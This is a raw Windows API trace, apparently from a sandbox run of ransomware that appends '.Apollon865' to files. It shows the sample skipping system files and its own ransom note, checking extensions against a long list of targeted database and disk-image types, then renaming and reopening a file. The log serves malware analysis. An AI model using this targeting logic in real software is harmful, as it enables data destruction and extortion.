	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.628] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.628] CloseHandle (hObject=0xd8) returned 1
	[0078.628] CloseHandle (hObject=0x15c) returned 1
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.629] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="..") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="windows") returned -1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="temp") returned -1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="boot") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.629] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0078.629] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 56
	[0078.629] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.OUTLOOK.14.1033.hxn" | out: lpString1="MS.OUTLOOK.14.1033.hxn") returned="MS.OUTLOOK.14.1033.hxn"
	[0078.629] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0078.629] lstrlenW (lpString="Apollon865") returned 10
	[0078.629] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.629] lstrlenW (lpString=".dll") returned 4
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".dll") returned 1
	[0078.629] lstrlenW (lpString=".lnk") returned 4
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.629] lstrlenW (lpString=".ini") returned 4
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".ini") returned 1
	[0078.629] lstrlenW (lpString=".sys") returned 4
	[0078.629] lstrcmpiW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2=".sys") returned 1
	[0078.629] lstrlenW (lpString="MS.OUTLOOK.14.1033.hxn") returned 22
	[0078.629] lstrlenW (lpString="bak") returned 3
	[0078.629] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.629] lstrlenW (lpString="ba_") returned 3
	[0078.629] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.629] lstrlenW (lpString="dbb") returned 3
	[0078.629] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.629] lstrlenW (lpString="vmdk") returned 4
	[0078.630] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.630] lstrlenW (lpString="rar") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.630] lstrlenW (lpString="zip") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.630] lstrlenW (lpString="tgz") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.630] lstrlenW (lpString="vbox") returned 4
	[0078.630] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.630] lstrlenW (lpString="vdi") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.630] lstrlenW (lpString="vhd") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.630] lstrlenW (lpString="vhdx") returned 4
	[0078.630] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.630] lstrlenW (lpString="avhd") returned 4
	[0078.630] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.630] lstrlenW (lpString="db") returned 2
	[0078.630] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.630] lstrlenW (lpString="db2") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.630] lstrlenW (lpString="db3") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.630] lstrlenW (lpString="dbf") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.630] lstrlenW (lpString="mdf") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.630] lstrlenW (lpString="mdb") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.630] lstrlenW (lpString="sql") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.630] lstrlenW (lpString="sqlite") returned 6
	[0078.630] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.630] lstrlenW (lpString="sqlite3") returned 7
	[0078.630] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.630] lstrlenW (lpString="sqlitedb") returned 8
	[0078.630] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.630] lstrlenW (lpString="xml") returned 3
	[0078.630] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.631] lstrlenW (lpString="$er") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.631] lstrlenW (lpString="4dd") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.631] lstrlenW (lpString="4dl") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.631] lstrlenW (lpString="^^^") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.631] lstrlenW (lpString="abs") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.631] lstrlenW (lpString="abx") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.631] lstrlenW (lpString="accdb") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.631] lstrlenW (lpString="accdc") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.631] lstrlenW (lpString="accde") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.631] lstrlenW (lpString="accdr") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.631] lstrlenW (lpString="accdt") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.631] lstrlenW (lpString="accdw") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.631] lstrlenW (lpString="accft") returned 5
	[0078.631] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.631] lstrlenW (lpString="adb") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.631] lstrlenW (lpString="adb") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.631] lstrlenW (lpString="ade") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.631] lstrlenW (lpString="adf") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.631] lstrlenW (lpString="adn") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.631] lstrlenW (lpString="adp") returned 3
	[0078.631] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.632] lstrlenW (lpString="alf") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.632] lstrlenW (lpString="ask") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.632] lstrlenW (lpString="btr") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.632] lstrlenW (lpString="cat") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.632] lstrlenW (lpString="cdb") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.632] lstrlenW (lpString="ckp") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.632] lstrlenW (lpString="cma") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.632] lstrlenW (lpString="cpd") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.632] lstrlenW (lpString="dacpac") returned 6
	[0078.632] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.632] lstrlenW (lpString="dad") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.632] lstrlenW (lpString="dadiagrams") returned 10
	[0078.632] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.632] lstrlenW (lpString="daschema") returned 8
	[0078.632] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.632] lstrlenW (lpString="db-journal") returned 10
	[0078.632] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.632] lstrlenW (lpString="db-shm") returned 6
	[0078.632] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.632] lstrlenW (lpString="db-wal") returned 6
	[0078.632] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.632] lstrlenW (lpString="dbc") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.632] lstrlenW (lpString="dbs") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.632] lstrlenW (lpString="dbt") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.632] lstrlenW (lpString="dbv") returned 3
	[0078.632] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.632] lstrlenW (lpString="dbx") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.633] lstrlenW (lpString="dcb") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.633] lstrlenW (lpString="dct") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.633] lstrlenW (lpString="dcx") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.633] lstrlenW (lpString="ddl") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.633] lstrlenW (lpString="dlis") returned 4
	[0078.633] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.633] lstrlenW (lpString="dp1") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.633] lstrlenW (lpString="dqy") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.633] lstrlenW (lpString="dsk") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.633] lstrlenW (lpString="dsn") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.633] lstrlenW (lpString="dtsx") returned 4
	[0078.633] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.633] lstrlenW (lpString="dxl") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.633] lstrlenW (lpString="eco") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.633] lstrlenW (lpString="ecx") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.633] lstrlenW (lpString="edb") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.633] lstrlenW (lpString="epim") returned 4
	[0078.633] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.633] lstrlenW (lpString="fcd") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.633] lstrlenW (lpString="fdb") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.633] lstrlenW (lpString="fic") returned 3
	[0078.633] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.633] lstrlenW (lpString="flexolibrary") returned 12
	[0078.634] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.634] lstrlenW (lpString="fm5") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.634] lstrlenW (lpString="fmp") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.634] lstrlenW (lpString="fmp12") returned 5
	[0078.634] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.634] lstrlenW (lpString="fmpsl") returned 5
	[0078.634] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.634] lstrlenW (lpString="fol") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.634] lstrlenW (lpString="fp3") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.634] lstrlenW (lpString="fp4") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.634] lstrlenW (lpString="fp5") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.634] lstrlenW (lpString="fp7") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.634] lstrlenW (lpString="fpt") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.634] lstrlenW (lpString="frm") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.634] lstrlenW (lpString="gdb") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.634] lstrlenW (lpString="gdb") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.634] lstrlenW (lpString="grdb") returned 4
	[0078.634] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.634] lstrlenW (lpString="gwi") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.634] lstrlenW (lpString="hdb") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.634] lstrlenW (lpString="his") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.634] lstrlenW (lpString="ib") returned 2
	[0078.634] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.634] lstrlenW (lpString="idb") returned 3
	[0078.634] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.635] lstrlenW (lpString="ihx") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.635] lstrlenW (lpString="itdb") returned 4
	[0078.635] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.635] lstrlenW (lpString="itw") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.635] lstrlenW (lpString="jet") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.635] lstrlenW (lpString="jtx") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.635] lstrlenW (lpString="kdb") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.635] lstrlenW (lpString="kexi") returned 4
	[0078.635] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.635] lstrlenW (lpString="kexic") returned 5
	[0078.635] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.635] lstrlenW (lpString="kexis") returned 5
	[0078.635] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.635] lstrlenW (lpString="lgc") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.635] lstrlenW (lpString="lwx") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.635] lstrlenW (lpString="maf") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.635] lstrlenW (lpString="maq") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.635] lstrlenW (lpString="mar") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.635] lstrlenW (lpString="marshal") returned 7
	[0078.635] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.635] lstrlenW (lpString="mas") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.635] lstrlenW (lpString="mav") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.635] lstrlenW (lpString="maw") returned 3
	[0078.635] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.635] lstrlenW (lpString="mdbhtml") returned 7
	[0078.635] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.635] lstrlenW (lpString="mdn") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.636] lstrlenW (lpString="mdt") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.636] lstrlenW (lpString="mfd") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.636] lstrlenW (lpString="mpd") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.636] lstrlenW (lpString="mrg") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.636] lstrlenW (lpString="mud") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.636] lstrlenW (lpString="mwb") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.636] lstrlenW (lpString="myd") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.636] lstrlenW (lpString="ndf") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.636] lstrlenW (lpString="nnt") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.636] lstrlenW (lpString="nrmlib") returned 6
	[0078.636] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.636] lstrlenW (lpString="ns2") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.636] lstrlenW (lpString="ns3") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.636] lstrlenW (lpString="ns4") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.636] lstrlenW (lpString="nsf") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.636] lstrlenW (lpString="nv") returned 2
	[0078.636] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.636] lstrlenW (lpString="nv2") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.636] lstrlenW (lpString="nwdb") returned 4
	[0078.636] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.636] lstrlenW (lpString="nyf") returned 3
	[0078.636] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.636] lstrlenW (lpString="odb") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.637] lstrlenW (lpString="odb") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.637] lstrlenW (lpString="oqy") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.637] lstrlenW (lpString="ora") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.637] lstrlenW (lpString="orx") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.637] lstrlenW (lpString="owc") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.637] lstrlenW (lpString="p96") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.637] lstrlenW (lpString="p97") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.637] lstrlenW (lpString="pan") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.637] lstrlenW (lpString="pdb") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.637] lstrlenW (lpString="pdm") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.637] lstrlenW (lpString="pnz") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.637] lstrlenW (lpString="qry") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.637] lstrlenW (lpString="qvd") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.637] lstrlenW (lpString="rbf") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.637] lstrlenW (lpString="rctd") returned 4
	[0078.637] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.637] lstrlenW (lpString="rod") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.637] lstrlenW (lpString="rodx") returned 4
	[0078.637] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.637] lstrlenW (lpString="rpd") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.637] lstrlenW (lpString="rsd") returned 3
	[0078.637] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.638] lstrlenW (lpString="sas7bdat") returned 8
	[0078.638] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.638] lstrlenW (lpString="sbf") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.638] lstrlenW (lpString="scx") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.638] lstrlenW (lpString="sdb") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.638] lstrlenW (lpString="sdc") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.638] lstrlenW (lpString="sdf") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.638] lstrlenW (lpString="sis") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.638] lstrlenW (lpString="spq") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.638] lstrlenW (lpString="te") returned 2
	[0078.638] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.638] lstrlenW (lpString="teacher") returned 7
	[0078.638] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.638] lstrlenW (lpString="tmd") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.638] lstrlenW (lpString="tps") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.638] lstrlenW (lpString="trc") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.638] lstrlenW (lpString="trc") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.638] lstrlenW (lpString="trm") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.638] lstrlenW (lpString="udb") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.638] lstrlenW (lpString="udl") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.638] lstrlenW (lpString="usr") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.638] lstrlenW (lpString="v12") returned 3
	[0078.638] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.639] lstrlenW (lpString="vis") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.639] lstrlenW (lpString="vpd") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.639] lstrlenW (lpString="vvv") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.639] lstrlenW (lpString="wdb") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.639] lstrlenW (lpString="wmdb") returned 4
	[0078.639] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.639] lstrlenW (lpString="wrk") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.639] lstrlenW (lpString="xdb") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.639] lstrlenW (lpString="xld") returned 3
	[0078.639] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.639] lstrlenW (lpString="xmlff") returned 5
	[0078.639] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.639] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Apollon865") returned 67
	[0078.639] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.641] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
